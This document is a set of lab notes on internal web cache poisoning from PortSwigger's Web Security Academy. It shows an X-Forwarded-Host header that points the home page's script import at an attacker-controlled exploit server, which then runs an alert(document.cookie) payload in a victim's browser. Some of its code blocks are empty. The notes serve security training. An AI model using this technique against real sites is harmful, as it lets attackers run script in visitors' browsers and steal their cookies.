> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/cache-poisoning/internal-cache-poisoning.md).
# Internal Cache Poisoning
Internal Cache Poisoning notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.
### Internal Cache Poisoning
This lab is vulnerable to poisoning of the web cache and uses several cache layers. / A user regularly visits the home page of the site with Chrome.
The goal is to poison the **internal cache** so that the home page runs `alert(document.cookie)` in the victim's browser.
**Initial analysis**
We intercept the request to the root (`/`) and analyze with **Param Miner**
**Behavior Observation**
When we add the following header to the query:
We note that the server response reflects this value.
```http
X-Forwarded-Host: test.com
```
However, this modification is visible only if the header is kept through internal requests.
By sending numerous requests with this header, the server ends up **caching the internal response**.
\*\* Impact on cached content\*\*
A script initially loaded in the form:
{% code overflow="wrap" %}
```html
```
{% endcode %}
After poisoning the cache is transformed into:
```html
```
```javascript
```
The source of the script now depends on the value injected via `X-Forwarded-Host`.
```http
X-Forwarded-Host: exploit-0a27006104d786ef8150bbc601bd0070.exploit-server.net
```
The internal cache is poisoned with a malicious response. / When the victim visits the home page, the browser loads the script from our server, resulting in the execution of:
```javascript
alert(document.cookie)
```
---
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